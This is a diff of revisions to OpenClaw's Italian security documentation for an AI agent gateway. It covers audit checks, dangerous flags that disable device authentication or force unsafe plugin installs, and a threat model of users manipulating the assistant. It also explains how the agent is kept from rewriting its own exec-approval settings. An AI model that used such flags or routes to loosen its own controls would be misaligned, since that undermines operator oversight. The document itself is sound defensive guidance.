(per esempio presumere che l'exec implicito significhi ancora `sandbox` quando `tools.exec.host` ora ha valore predefinito `auto`, oppure impostare esplicitamente `tools.exec.host="sandbox"` mentre la modalità sandbox è disattivata). - **Igiene del modello** (avvisa quando i modelli configurati sembrano legacy; non è un blocco rigido). -Se esegui `--deep`, OpenClaw tenta anche un probe live del Gateway best-effort. +Se esegui `--deep`, OpenClaw tenta anche un probe live best-effort del Gateway. ## Mappa di archiviazione delle credenziali -Usala quando esegui audit dell'accesso o decidi cosa includere nel backup: +Usala quando auditi l'accesso o decidi cosa includere nel backup: - **WhatsApp**: `~/.openclaw/credentials/whatsapp//creds.json` -- **Token bot Telegram**: config/env o `channels.telegram.tokenFile` (solo file regolare; symlink rifiutati) -- **Token bot Discord**: config/env o SecretRef (provider env/file/exec) +- **Token bot Telegram**: config/env oppure `channels.telegram.tokenFile` (solo file regolare; symlink rifiutati) +- **Token bot Discord**: config/env oppure SecretRef (provider env/file/exec) - **Token Slack**: config/env (`channels.slack.*`) - **Allowlist di pairing**: - `~/.openclaw/credentials/-allowFrom.json` (account predefinito) - `~/.openclaw/credentials/--allowFrom.json` (account non predefiniti) -- **Profili di autenticazione modello**: `~/.openclaw/agents//agent/auth-profiles.json` +- **Profili di autenticazione del modello**: `~/.openclaw/agents//agent/auth-profiles.json` +- **Stato runtime Codex**: `~/.openclaw/agents//agent/codex-home/` - **Payload di segreti basato su file (opzionale)**: `~/.openclaw/secrets.json` - **Import OAuth legacy**: `~/.openclaw/credentials/oauth.json` @@ -254,12 +225,12 @@ Usala quando esegui audit dell'accesso o decidi cosa includere nel backup: Quando l'audit stampa risultati, trattali in questo ordine di priorità: -1. **Qualsiasi cosa “aperta” + strumenti abilitati**: blocca prima DM/gruppi (pairing/allowlist), poi restringi policy strumenti/sandboxing. -2. **Esposizione di rete pubblica** (bind LAN, Funnel, autenticazione mancante): correggi immediatamente. +1. **Qualsiasi cosa "aperta" + strumenti abilitati**: blocca prima DM/gruppi (pairing/allowlist), poi restringi policy strumenti/sandboxing. +2. **Esposizione su rete pubblica** (bind LAN, Funnel, autenticazione mancante): correggi immediatamente. 3. **Esposizione remota del controllo browser**: trattala come accesso operatore (solo tailnet, abbina i nodi deliberatamente, evita l'esposizione pubblica). 4. **Permessi**: assicurati che stato/config/credenziali/auth non siano leggibili da gruppo/mondo. 5. **Plugin**: carica solo ciò di cui ti fidi esplicitamente. -6. **Scelta del modello**: preferisci modelli moderni e rinforzati per le istruzioni per qualsiasi bot con strumenti. +6. **Scelta del modello**: preferisci modelli moderni e rinforzati rispetto alle istruzioni per qualsiasi bot con strumenti. ## Glossario dell'audit di sicurezza @@ -267,13 +238,13 @@ Ogni risultato dell'audit è identificato da un `checkId` strutturato (per esemp `gateway.bind_no_auth` o `tools.exec.security_full_configured`). Classi comuni di severità critica: -- `fs.*` — permessi del filesystem su stato, config, credenziali, profili auth. -- `gateway.*` — modalità bind, auth, Tailscale, Control UI, configurazione trusted-proxy. +- `fs.*` — permessi del filesystem su stato, configurazione, credenziali, profili di autenticazione. +- `gateway.*` — modalità di bind, autenticazione, Tailscale, Control UI, configurazione trusted-proxy. - `hooks.*`, `browser.*`, `sandbox.*`, `tools.exec.*` — hardening per superficie. -- `plugins.*`, `skills.*` — filiera di distribuzione di plugin/skill e risultati delle scansioni. +- `plugins.*`, `skills.*` — catena di fornitura di plugin/Skills e risultati della scansione. - `security.exposure.*` — controlli trasversali in cui la policy di accesso incontra il raggio d'azione degli strumenti. -Consulta il catalogo completo con livelli di severità, chiavi di correzione e supporto auto-fix in +Vedi il catalogo completo con livelli di severità, chiavi di correzione e supporto auto-fix in [Controlli dell'audit di sicurezza](/it/gateway/security/audit-checks). ## Control UI su HTTP @@ -281,32 +252,32 @@ Consulta il catalogo completo con livelli di severità, chiavi di correzione e s La Control UI richiede un **contesto sicuro** (HTTPS o localhost) per generare l'identità del dispositivo. `gateway.controlUi.allowInsecureAuth` è un toggle di compatibilità locale: -- Su localhost, consente l'auth della Control UI senza identità dispositivo quando la pagina +- Su localhost, consente l'autenticazione della Control UI senza identità del dispositivo quando la pagina viene caricata su HTTP non sicuro. - Non bypassa i controlli di pairing. -- Non allenta i requisiti di identità dispositivo remoti (non-localhost). +- Non allenta i requisiti di identità del dispositivo remoti (non localhost). -Preferisci HTTPS (Tailscale Serve) oppure apri la UI su `127.0.0.1`. +Preferisci HTTPS (Tailscale Serve) oppure apri l'interfaccia utente su `127.0.0.1`. -Solo per scenari break-glass, `gateway.controlUi.dangerouslyDisableDeviceAuth` -disabilita interamente i controlli di identità dispositivo. È un grave downgrade di sicurezza; -tienilo disattivato a meno che tu non stia eseguendo debug attivamente e possa tornare indietro rapidamente. +Solo per scenari di emergenza, `gateway.controlUi.dangerouslyDisableDeviceAuth` +disabilita completamente i controlli di identità del dispositivo. È un grave downgrade di sicurezza; +lascialo disattivato salvo tu stia eseguendo debug attivo e possa ripristinare rapidamente. -Separatamente da quei flag pericolosi, `gateway.auth.mode: "trusted-proxy"` riuscito -può ammettere sessioni Control UI da **operatore** senza identità dispositivo. È un -comportamento intenzionale della modalità auth, non una scorciatoia `allowInsecureAuth`, e comunque +Separatamente da quei flag pericolosi, un `gateway.auth.mode: "trusted-proxy"` riuscito +può ammettere sessioni Control UI **operatore** senza identità del dispositivo. Questo è un +comportamento intenzionale della modalità di autenticazione, non una scorciatoia `allowInsecureAuth`, e comunque non si estende alle sessioni Control UI con ruolo nodo. `openclaw security audit` avvisa quando questa impostazione è abilitata. ## Riepilogo dei flag insicuri o pericolosi -`openclaw security audit` segnala `config.insecure_or_dangerous_flags` quando -switch di debug noti come insicuri/pericolosi sono abilitati. Tienili non impostati in +`openclaw security audit` genera `config.insecure_or_dangerous_flags` quando +sono abilitati switch di debug noti come insicuri/pericolosi. Tienili non impostati in produzione. - + - `gateway.controlUi.allowInsecureAuth=true` - `gateway.controlUi.dangerouslyAllowHostHeaderOriginFallback=true` - `gateway.controlUi.dangerouslyDisableDeviceAuth=true` @@ -317,14 +288,14 @@ produzione. - + Control UI e browser: - `gateway.controlUi.dangerouslyAllowHostHeaderOriginFallback` - `gateway.controlUi.dangerouslyDisableDeviceAuth` - `browser.ssrfPolicy.dangerouslyAllowPrivateNetwork` - Corrispondenza dei nomi dei canali (canali bundled e plugin; disponibile anche per + Matching dei nomi dei canali (canali in bundle e plugin; disponibile anche per `accounts.` dove applicabile): - `channels.discord.dangerouslyAllowNameMatching` @@ -341,7 +312,7 @@ produzione. - `channels.telegram.network.dangerouslyAllowPrivateNetwork` (anche per account) - Sandbox Docker (default + per agente): + Sandbox Docker (impostazioni predefinite + per agente): - `agents.defaults.sandbox.docker.dangerouslyAllowReservedContainerTargets` - `agents.defaults.sandbox.docker.dangerouslyAllowExternalBindSources` @@ -353,15 +324,15 @@ produzione. ## Configurazione del reverse proxy Se esegui il Gateway dietro un reverse proxy (nginx, Caddy, Traefik, ecc.), configura -`gateway.trustedProxies` per una gestione corretta dell'IP client inoltrato. +`gateway.trustedProxies` per una corretta gestione dell'IP del client inoltrato. -Quando il Gateway rileva header proxy da un indirizzo che **non** è in `trustedProxies`, **non** tratterà le connessioni come client locali. Se l'auth del gateway è disabilitata, quelle connessioni vengono rifiutate. Questo previene un bypass di autenticazione in cui le connessioni proxy altrimenti sembrerebbero provenire da localhost e riceverebbero fiducia automatica. +Quando il Gateway rileva header proxy da un indirizzo che **non** è in `trustedProxies`, **non** tratterà le connessioni come client locali. Se l'autenticazione del gateway è disabilitata, quelle connessioni vengono rifiutate. Questo impedisce un bypass dell'autenticazione in cui le connessioni proxate apparirebbero altrimenti provenire da localhost e riceverebbero fiducia automatica. -`gateway.trustedProxies` alimenta anche `gateway.auth.mode: "trusted-proxy"`, ma quella modalità auth è più rigorosa: +`gateway.trustedProxies` alimenta anche `gateway.auth.mode: "trusted-proxy"`, ma quella modalità di autenticazione è più rigorosa: -- l'auth trusted-proxy **fallisce chiusa sui proxy con sorgente loopback per impostazione predefinita** -- i reverse proxy loopback sullo stesso host possono usare `gateway.trustedProxies` per rilevamento client locale e gestione IP inoltrato -- i reverse proxy loopback sullo stesso host possono soddisfare `gateway.auth.mode: "trusted-proxy"` solo quando `gateway.auth.trustedProxy.allowLoopback = true`; altrimenti usa auth token/password +- l'autenticazione trusted-proxy **fallisce chiusa sui proxy con sorgente loopback per impostazione predefinita** +- i reverse proxy loopback sullo stesso host possono usare `gateway.trustedProxies` per il rilevamento di client locali e la gestione degli IP inoltrati +- i reverse proxy loopback sullo stesso host possono soddisfare `gateway.auth.mode: "trusted-proxy"` solo quando `gateway.auth.trustedProxy.allowLoopback = true`; altrimenti usa l'autenticazione con token/password ```yaml gateway: @@ -375,13 +346,13 @@ gateway: password: ${OPENCLAW_GATEWAY_PASSWORD} ``` -Quando `trustedProxies` è configurato, il Gateway usa `X-Forwarded-For` per determinare l'IP client. `X-Real-IP` viene ignorato per impostazione predefinita a meno che `gateway.allowRealIpFallback: true` non sia impostato esplicitamente. +Quando `trustedProxies` è configurato, il Gateway usa `X-Forwarded-For` per determinare l'IP del client. `X-Real-IP` è ignorato per impostazione predefinita salvo `gateway.allowRealIpFallback: true` sia impostato esplicitamente. -Gli header di proxy fidato non rendono automaticamente fidato il pairing dei dispositivi nodo. +Gli header trusted proxy non rendono automaticamente fidato il pairing dei dispositivi nodo. `gateway.nodes.pairing.autoApproveCidrs` è una policy operatore separata, disabilitata per impostazione predefinita. -Anche quando è abilitata, i percorsi header trusted-proxy con sorgente loopback -sono esclusi dall'auto-approvazione dei nodi perché i chiamanti locali possono falsificare quegli -header, anche quando l'auth trusted-proxy loopback è esplicitamente abilitata. +Anche quando abilitata, i percorsi degli header trusted-proxy con sorgente loopback +sono esclusi dall'approvazione automatica dei nodi perché i chiamanti locali possono falsificare quegli +header, anche quando l'autenticazione trusted-proxy loopback è esplicitamente abilitata. Comportamento corretto del reverse proxy (sovrascrive gli header di inoltro in ingresso): @@ -396,87 +367,87 @@ Comportamento errato del reverse proxy (accoda/preserva header di inoltro non fi proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; ``` -## Note su HSTS e origin +## Note su HSTS e origine -- Il gateway OpenClaw è pensato prima di tutto per locale/local loopback. Se termini TLS presso un reverse proxy, imposta HSTS lì sul dominio HTTPS esposto al proxy. -- Se il gateway stesso termina HTTPS, puoi impostare `gateway.http.securityHeaders.strictTransportSecurity` per emettere l'header HSTS dalle risposte OpenClaw. -- Indicazioni dettagliate sul deployment sono in [Auth Trusted Proxy](/it/gateway/trusted-proxy-auth#tls-termination-and-hsts). -- Per deployment Control UI non-loopback, `gateway.controlUi.allowedOrigins` è richiesto per impostazione predefinita. -- `gateway.controlUi.allowedOrigins: ["*"]` è una policy browser-origin allow-all esplicita, non un default rinforzato. Evitala fuori da test locali strettamente controllati. -- Gli errori di auth browser-origin su loopback sono comunque soggetti a rate limit anche quando - l'esenzione generale loopback è abilitata, ma la chiave di lockout è limitata per - valore `Origin` normalizzato invece di un unico bucket localhost condiviso. -- `gateway.controlUi.dangerouslyAllowHostHeaderOriginFallback=true` abilita la modalità fallback origin da header Host; trattala come una policy pericolosa scelta dall'operatore. -- Tratta DNS rebinding e comportamento degli header Host del proxy come aspetti di hardening del deployment; mantieni `trustedProxies` restrittivo ed evita di esporre direttamente il gateway a Internet pubblico. +- Il gateway OpenClaw è prima di tutto locale/local loopback. Se termini TLS su un reverse proxy, imposta lì HSTS sul dominio HTTPS rivolto al proxy. +- Se il gateway termina direttamente HTTPS, puoi impostare `gateway.http.securityHeaders.strictTransportSecurity` per emettere l'header HSTS dalle risposte OpenClaw. +- La guida dettagliata al deployment è in [Autenticazione Trusted Proxy](/it/gateway/trusted-proxy-auth#tls-termination-and-hsts). +- Per deployment Control UI non loopback, `gateway.controlUi.allowedOrigins` è richiesto per impostazione predefinita. +- `gateway.controlUi.allowedOrigins: ["*"]` è una policy browser-origin esplicita allow-all, non un valore predefinito rinforzato. Evitala al di fuori di test locali strettamente controllati. +- Gli errori di autenticazione browser-origin su loopback sono comunque soggetti a rate limit anche quando + l'esenzione loopback generale è abilitata, ma la chiave di lockout è limitata per + valore `Origin` normalizzato invece che a un unico bucket localhost condiviso. +- `gateway.controlUi.dangerouslyAllowHostHeaderOriginFallback=true` abilita la modalità di fallback dell'origine basata sull'header Host; trattala come una policy pericolosa scelta dall'operatore. +- Tratta il DNS rebinding e il comportamento degli header host del proxy come aspetti di hardening del deployment; mantieni `trustedProxies` restrittivo ed evita di esporre direttamente il gateway a Internet pubblico. -## I log delle sessioni locali vivono su disco +## I log delle sessioni locali risiedono su disco -OpenClaw archivia le trascrizioni delle sessioni su disco sotto `~/.openclaw/agents//sessions/*.jsonl`. -Questo è necessario per la continuità della sessione e (opzionalmente) l'indicizzazione della memoria di sessione, ma significa anche che +OpenClaw archivia le trascrizioni delle sessioni su disco in `~/.openclaw/agents//sessions/*.jsonl`. +Questo è necessario per la continuità della sessione e (opzionalmente) per l'indicizzazione della memoria di sessione, ma significa anche che **qualsiasi processo/utente con accesso al filesystem può leggere quei log**. Tratta l'accesso al disco come il confine di fiducia -e blocca i permessi su `~/.openclaw` (vedi la sezione audit sotto). Se hai bisogno di -isolamento più forte tra agenti, eseguili con utenti OS separati o host separati. +e limita i permessi su `~/.openclaw` (vedi la sezione audit sotto). Se hai bisogno di +un isolamento più forte tra agenti, eseguili con utenti del sistema operativo separati o su host separati. -## Esecuzione Node (system.run) +## Esecuzione su nodo (system.run) -Se un nodo macOS è associato, il Gateway può invocare `system.run` su quel nodo. Questa è **esecuzione di codice remota** sul Mac: +Se un nodo macOS è associato, il Gateway può invocare `system.run` su quel nodo. Questa è **esecuzione di codice remoto** sul Mac: -- Richiede l'abbinamento Node (approvazione + token). -- L'abbinamento Node del Gateway non è una superficie di approvazione per comando. Stabilisce identità/fiducia del Node ed emissione del token. -- Il Gateway applica una policy globale grossolana dei comandi Node tramite `gateway.nodes.allowCommands` / `denyCommands`. +- Richiede l'associazione del nodo (approvazione + token). +- L'associazione del nodo Gateway non è una superficie di approvazione per comando. Stabilisce l'identità/la fiducia del nodo e l'emissione del token. +- Il Gateway applica una policy globale grossolana per i comandi del nodo tramite `gateway.nodes.allowCommands` / `denyCommands`. - Controllato sul Mac tramite **Impostazioni → Approvazioni exec** (sicurezza + richiesta + allowlist). -- La policy per Node `system.run` è il file di approvazioni exec del Node stesso (`exec.approvals.node.*`), che può essere più restrittivo o più permissivo della policy globale del Gateway sugli ID comando. -- Un Node in esecuzione con `security="full"` e `ask="off"` segue il modello predefinito di operatore fidato. Trattalo come comportamento previsto, a meno che la tua distribuzione richieda esplicitamente una postura di approvazione o allowlist più rigorosa. -- La modalità di approvazione associa il contesto esatto della richiesta e, quando possibile, un operando concreto di script/file locale. Se OpenClaw non riesce a identificare esattamente un file locale diretto per un comando di interprete/runtime, l'esecuzione basata su approvazione viene negata invece di promettere una copertura semantica completa. -- Per `host=node`, le esecuzioni basate su approvazione archiviano anche un - `systemRunPlan` preparato canonico; gli inoltri approvati successivi riutilizzano quel piano archiviato e la - validazione del gateway rifiuta modifiche del chiamante al contesto command/cwd/session dopo la +- La policy `system.run` per nodo è il file di approvazioni exec del nodo stesso (`exec.approvals.node.*`), che può essere più restrittiva o più permissiva della policy globale del gateway sugli ID comando. +- Un nodo in esecuzione con `security="full"` e `ask="off"` segue il modello predefinito dell'operatore fidato. Consideralo un comportamento previsto, a meno che il tuo deployment non richieda esplicitamente una postura di approvazione o allowlist più rigida. +- La modalità di approvazione vincola il contesto esatto della richiesta e, quando possibile, un singolo operando concreto di script/file locale. Se OpenClaw non riesce a identificare esattamente un solo file locale diretto per un comando di interprete/runtime, l'esecuzione basata su approvazione viene negata invece di promettere una copertura semantica completa. +- Per `host=node`, le esecuzioni basate su approvazione memorizzano anche un + `systemRunPlan` preparato canonico; gli inoltri approvati successivi riutilizzano quel piano memorizzato, e la + validazione del gateway rifiuta le modifiche del chiamante al contesto di comando/cwd/sessione dopo la creazione della richiesta di approvazione. -- Se non vuoi l'esecuzione remota, imposta la sicurezza su **deny** e rimuovi l'abbinamento Node per quel Mac. +- Se non vuoi l'esecuzione remota, imposta la sicurezza su **deny** e rimuovi l'associazione del nodo per quel Mac. Questa distinzione è importante per il triage: -- Un Node abbinato che si riconnette annunciando un elenco di comandi diverso non è, di per sé, una vulnerabilità se la policy globale del Gateway e le approvazioni exec locali del Node continuano a imporre il perimetro di esecuzione effettivo. -- Le segnalazioni che trattano i metadati di abbinamento Node come un secondo livello nascosto di approvazione per comando sono di solito confusione di policy/UX, non un bypass del perimetro di sicurezza. +- Un nodo associato che si riconnette pubblicizzando un elenco di comandi diverso non è, di per sé, una vulnerabilità se la policy globale del Gateway e le approvazioni exec locali del nodo continuano a imporre il confine di esecuzione effettivo. +- I report che trattano i metadati di associazione del nodo come un secondo livello nascosto di approvazione per comando sono di solito confusione di policy/UX, non un bypass di un confine di sicurezza. -## Skills dinamiche (watcher / Node remoti) +## Skills dinamiche (watcher / nodi remoti) -OpenClaw può aggiornare l'elenco delle Skills a metà sessione: +OpenClaw può aggiornare l'elenco Skills durante la sessione: -- **Watcher delle Skills**: le modifiche a `SKILL.md` possono aggiornare lo snapshot delle Skills al turno successivo dell'agente. -- **Node remoti**: la connessione di un Node macOS può rendere idonee Skills solo per macOS (in base al probing dei binari). +- **Watcher Skills**: le modifiche a `SKILL.md` possono aggiornare lo snapshot Skills al turno successivo dell'agente. +- **Nodi remoti**: la connessione di un nodo macOS può rendere idonee Skills solo macOS (in base al probing dei binari). Tratta le cartelle delle skill come **codice fidato** e limita chi può modificarle. ## Il modello di minaccia -Il tuo assistente AI può: +Il tuo assistente IA può: - Eseguire comandi shell arbitrari - Leggere/scrivere file - Accedere a servizi di rete - Inviare messaggi a chiunque (se gli dai accesso a WhatsApp) -Le persone che ti inviano messaggi possono: +Le persone che ti scrivono possono: -- Cercare di ingannare la tua AI inducendola a fare cose dannose -- Usare l'ingegneria sociale per accedere ai tuoi dati -- Cercare dettagli sull'infrastruttura +- Provare a ingannare la tua IA per farle fare cose dannose +- Usare social engineering per accedere ai tuoi dati +- Sondare dettagli dell'infrastruttura ## Concetto fondamentale: controllo degli accessi prima dell'intelligenza -La maggior parte degli errori qui non sono exploit sofisticati: sono “qualcuno ha scritto al bot e il bot ha fatto ciò che gli è stato chiesto”. +La maggior parte dei fallimenti qui non sono exploit sofisticati: sono "qualcuno ha scritto al bot e il bot ha fatto quello che gli è stato chiesto". La posizione di OpenClaw: -- **Prima l'identità:** decidi chi può parlare con il bot (abbinamento DM / allowlist / “open” esplicito). -- **Poi l'ambito:** decidi dove il bot può agire (allowlist dei gruppi + gating per menzione, strumenti, sandboxing, permessi del dispositivo). +- **Prima l'identità:** decidi chi può parlare con il bot (associazione DM / allowlist / esplicito "open"). +- **Poi l'ambito:** decidi dove il bot è autorizzato ad agire (allowlist dei gruppi + gating su menzione, strumenti, sandboxing, permessi del dispositivo). - **Infine il modello:** presumi che il modello possa essere manipolato; progetta in modo che la manipolazione abbia un raggio d'impatto limitato. ## Modello di autorizzazione dei comandi I comandi slash e le direttive vengono rispettati solo per **mittenti autorizzati**. L'autorizzazione deriva da -allowlist/abbinamento del canale più `commands.useAccessGroups` (vedi [Configurazione](/it/gateway/configuration) +allowlist/associazione del canale più `commands.useAccessGroups` (vedi [Configurazione](/it/gateway/configuration) e [Comandi slash](/it/tools/slash-commands)). Se una allowlist di canale è vuota o include `"*"`, i comandi sono di fatto aperti per quel canale. @@ -487,18 +458,18 @@ modifica altre sessioni. Due strumenti integrati possono apportare modifiche persistenti al piano di controllo: -- `gateway` può ispezionare la configurazione con `config.schema.lookup` / `config.get` e può apportare modifiche persistenti con `config.apply`, `config.patch` e `update.run`. +- `gateway` può ispezionare la configurazione con `config.schema.lookup` / `config.get`, e può apportare modifiche persistenti con `config.apply`, `config.patch` e `update.run`. - `cron` può creare job pianificati che continuano a essere eseguiti dopo la fine della chat/task originale. -Lo strumento runtime `gateway`, riservato al proprietario, continua a rifiutare la riscrittura di -`tools.exec.ask` o `tools.exec.security`; gli alias legacy `tools.bash.*` sono +Lo strumento runtime `gateway` riservato al proprietario rifiuta comunque di riscrivere +`tools.exec.ask` o `tools.exec.security`; gli alias legacy `tools.bash.*` vengono normalizzati sugli stessi percorsi exec protetti prima della scrittura. -Le modifiche `gateway config.apply` e `gateway config.patch` guidate dall'agente -falliscono in chiusura per impostazione predefinita: solo un insieme ristretto di percorsi -prompt, modello e gating delle menzioni è regolabile dall'agente. I nuovi alberi di configurazione sensibili sono quindi protetti +Le modifiche `gateway config.apply` e `gateway config.patch` guidate dall'agente sono +fail-closed per impostazione predefinita: solo un insieme ristretto di percorsi di prompt, modello e gating su menzione +è regolabile dall'agente. I nuovi alberi di configurazione sensibili sono quindi protetti a meno che non vengano aggiunti deliberatamente alla allowlist. -Per qualsiasi agente/superficie che gestisce contenuti non fidati, nega questi elementi per impostazione predefinita: +Per qualsiasi agente/superficie che gestisce contenuti non fidati, nega questi per impostazione predefinita: ```json5 { @@ -508,32 +479,32 @@ Per qualsiasi agente/superficie che gestisce contenuti non fidati, nega questi e } ``` -`commands.restart=false` blocca solo le azioni di riavvio. Non disabilita le azioni di configurazione/aggiornamento di `gateway`. +`commands.restart=false` blocca solo le azioni di riavvio. Non disabilita le azioni di configurazione/aggiornamento `gateway`. ## Plugin -I plugin vengono eseguiti **in-process** con il Gateway. Trattali come codice fidato: +I Plugin vengono eseguiti **in-process** con il Gateway. Trattali come codice fidato: - Installa solo plugin da fonti di cui ti fidi. - Preferisci allowlist esplicite `plugins.allow`. -- Rivedi la configurazione dei plugin prima di abilitarli. -- Riavvia il Gateway dopo le modifiche ai plugin. -- Se installi o aggiorni plugin (`openclaw plugins install `, `openclaw plugins update `), trattalo come l'esecuzione di codice non fidato: - - Il percorso di installazione è la directory per plugin sotto la radice di installazione dei plugin attiva. - - OpenClaw esegue una scansione integrata del codice pericoloso prima di installazione/aggiornamento. I risultati `critical` bloccano per impostazione predefinita. - - OpenClaw usa `npm pack`, poi esegue un `npm install --omit=dev --ignore-scripts` locale al progetto in quella directory. Le impostazioni globali npm ereditate per l'installazione vengono ignorate, così le dipendenze restano sotto il percorso di installazione del plugin. +- Revisiona la configurazione del plugin prima di abilitarlo. +- Riavvia il Gateway dopo modifiche ai plugin. +- Se installi o aggiorni plugin (`openclaw plugins install `, `openclaw plugins update `), trattalo come eseguire codice non fidato: + - Il percorso di installazione è la directory per plugin sotto la root attiva di installazione dei plugin. + - OpenClaw esegue una scansione integrata del codice pericoloso prima dell'installazione/aggiornamento. I risultati `critical` bloccano per impostazione predefinita. + - OpenClaw usa `npm pack`, poi esegue un `npm install --omit=dev --ignore-scripts` locale al progetto in quella directory. Le impostazioni globali ereditate di installazione npm vengono ignorate, così le dipendenze restano sotto il percorso di installazione del plugin. - Preferisci versioni bloccate ed esatte (`@scope/pkg@1.2.3`) e ispeziona il codice estratto su disco prima di abilitarlo. - - `--dangerously-force-unsafe-install` è una misura di emergenza solo per falsi positivi della scansione integrata nei flussi di installazione/aggiornamento dei plugin. Non aggira i blocchi di policy dell'hook `before_install` del plugin e non aggira i fallimenti della scansione. - - Le installazioni di dipendenze delle skill basate su Gateway seguono la stessa distinzione pericoloso/sospetto: i risultati integrati `critical` bloccano a meno che il chiamante non imposti esplicitamente `dangerouslyForceUnsafeInstall`, mentre i risultati sospetti continuano solo ad avvisare. `openclaw skills install` resta il flusso separato di download/installazione delle skill ClawHub. + - `--dangerously-force-unsafe-install` è solo una misura di emergenza per falsi positivi della scansione integrata nei flussi di installazione/aggiornamento dei plugin. Non aggira i blocchi della policy dell'hook `before_install` del plugin e non aggira i fallimenti della scansione. + - Le installazioni di dipendenze Skills basate sul Gateway seguono la stessa distinzione pericoloso/sospetto: i risultati integrati `critical` bloccano a meno che il chiamante non imposti esplicitamente `dangerouslyForceUnsafeInstall`, mentre i risultati sospetti continuano solo ad avvisare. `openclaw skills install` rimane il flusso separato di download/installazione delle skill ClawHub. Dettagli: [Plugin](/it/tools/plugin) -## Modello di accesso DM: abbinamento, allowlist, aperto, disabilitato +## Modello di accesso DM: associazione, allowlist, aperto, disabilitato -Tutti i canali attuali compatibili con DM supportano una policy DM (`dmPolicy` o `*.dm.policy`) che controlla i DM in ingresso **prima** che il messaggio venga elaborato: +Tutti i canali attuali con supporto DM supportano una policy DM (`dmPolicy` o `*.dm.policy`) che controlla i DM in ingresso **prima** che il messaggio venga elaborato: -- `pairing` (predefinito): i mittenti sconosciuti ricevono un breve codice di abbinamento e il bot ignora il loro messaggio finché non viene approvato. I codici scadono dopo 1 ora; DM ripetuti non reinvieranno un codice finché non viene creata una nuova richiesta. Le richieste in sospeso sono limitate a **3 per canale** per impostazione predefinita. -- `allowlist`: i mittenti sconosciuti vengono bloccati (nessun handshake di abbinamento). +- `pairing` (predefinito): i mittenti sconosciuti ricevono un breve codice di associazione e il bot ignora il loro messaggio finché non viene approvato. I codici scadono dopo 1 ora; DM ripetuti non reinvieranno un codice finché non viene creata una nuova richiesta. Le richieste in sospeso sono limitate a **3 per canale** per impostazione predefinita. +- `allowlist`: i mittenti sconosciuti vengono bloccati (nessun handshake di associazione). - `open`: consenti a chiunque di inviare DM (pubblico). **Richiede** che la allowlist del canale includa `"*"` (opt-in esplicito). - `disabled`: ignora completamente i DM in ingresso. @@ -544,11 +515,11 @@ openclaw pairing list openclaw pairing approve ``` -Dettagli + file su disco: [Abbinamento](/it/channels/pairing) +Dettagli + file su disco: [Associazione](/it/channels/pairing) ## Isolamento delle sessioni DM (modalità multiutente) -Per impostazione predefinita, OpenClaw instrada **tutti i DM nella sessione principale** così il tuo assistente mantiene continuità tra dispositivi e canali. Se **più persone** possono inviare DM al bot (DM aperti o una allowlist multi-persona), considera l'isolamento delle sessioni DM: +Per impostazione predefinita, OpenClaw instrada **tutti i DM nella sessione principale** così il tuo assistente ha continuità tra dispositivi e canali. Se **più persone** possono inviare DM al bot (DM aperti o una allowlist multipersona), valuta di isolare le sessioni DM: ```json5 { @@ -556,409 +527,344 @@ Per impostazione predefinita, OpenClaw instrada **tutti i DM nella sessione prin } ``` -Questo impedisce perdite di contesto tra utenti mantenendo isolate le chat di gruppo. +Questo previene perdite di contesto tra utenti mantenendo isolati i gruppi chat. -Questo è un perimetro del contesto di messaggistica, non un perimetro di amministrazione host. Se gli utenti sono mutuamente avversari e condividono lo stesso host/configurazione Gateway, esegui invece gateway separati per ogni perimetro di fiducia. +Questo è un confine di contesto di messaggistica, non un confine da amministratore host. Se gli utenti sono reciprocamente avversari e condividono lo stesso host/configurazione Gateway, esegui invece gateway separati per ogni confine di fiducia. ### Modalità DM sicura (consigliata) Tratta lo snippet sopra come **modalità DM sicura**: - Predefinito: `session.dmScope: "main"` (tutti i DM condividono una sessione per continuità). -- Predefinito dell'onboarding CLI locale: scrive `session.dmScope: "per-channel-peer"` quando non impostato (mantiene i valori espliciti esistenti). +- Predefinito onboarding CLI locale: scrive `session.dmScope: "per-channel-peer"` quando non impostato (mantiene i valori espliciti esistenti). - Modalità DM sicura: `session.dmScope: "per-channel-peer"` (ogni coppia canale+mittente ottiene un contesto DM isolato). - Isolamento peer tra canali: `session.dmScope: "per-peer"` (ogni mittente ottiene una sessione su tutti i canali dello stesso tipo). Se esegui più account sullo stesso canale, usa invece `per-account-channel-peer`. Se la stessa persona ti contatta su più canali, usa `session.identityLinks` per comprimere quelle sessioni DM in un'unica identità canonica. Vedi [Gestione delle sessioni](/it/concepts/session) e [Configurazione](/it/gateway/configuration). -## Allowlists per DM e gruppi +## Allowlist per DM e gruppi -OpenClaw ha due livelli separati “chi può attivarmi?”: +OpenClaw ha due livelli separati "chi può attivarmi?": - **Allowlist DM** (`allowFrom` / `channels.discord.allowFrom` / `channels.slack.allowFrom`; legacy: `channels.discord.dm.allowFrom`, `channels.slack.dm.allowFrom`): chi è autorizzato a parlare con il bot nei messaggi diretti. - - Quando `dmPolicy="pairing"`, le approvazioni vengono scritte nello store allowlist di abbinamento con ambito account sotto `~/.openclaw/credentials/` (`-allowFrom.json` per l'account predefinito, `--allowFrom.json` per account non predefiniti), unite alle allowlist di configurazione. -- **Allowlist dei gruppi** (specifica del canale): da quali gruppi/canali/guild il bot accetterà messaggi in assoluto. + - Quando `dmPolicy="pairing"`, le approvazioni vengono scritte nell'archivio allowlist di associazione scoped all'account sotto `~/.openclaw/credentials/` (`-allowFrom.json` per l'account predefinito, `--allowFrom.json` per gli account non predefiniti), unito alle allowlist di configurazione. +- **Allowlist gruppi** (specifica del canale): da quali gruppi/canali/gilde il bot accetterà messaggi. - Schemi comuni: - - `channels.whatsapp.groups`, `channels.telegram.groups`, `channels.imessage.groups`: impostazioni predefinite per gruppo come `requireMention`; quando impostato, funge anche da allowlist dei gruppi (includi `"*"` per mantenere il comportamento allow-all). - - `groupPolicy="allowlist"` + `groupAllowFrom`: limita chi può attivare il bot _dentro_ una sessione di gruppo (WhatsApp/Telegram/Signal/iMessage/Microsoft Teams). - - `channels.discord.guilds` / `channels.slack.channels`: allowlist per superficie + impostazioni predefinite delle menzioni. - - I controlli di gruppo vengono eseguiti in questo ordine: prima `groupPolicy`/allowlist dei gruppi, poi attivazione tramite menzione/risposta. + - `channels.whatsapp.groups`, `channels.telegram.groups`, `channels.imessage.groups`: valori predefiniti per gruppo come `requireMention`; quando impostato, agisce anche come allowlist di gruppo (includi `"*"` per mantenere il comportamento allow-all). + - `groupPolicy="allowlist"` + `groupAllowFrom`: limita chi può attivare il bot _all'interno_ di una sessione di gruppo (WhatsApp/Telegram/Signal/iMessage/Microsoft Teams). + - `channels.discord.guilds` / `channels.slack.channels`: allowlist per superficie + valori predefiniti di menzione. + - I 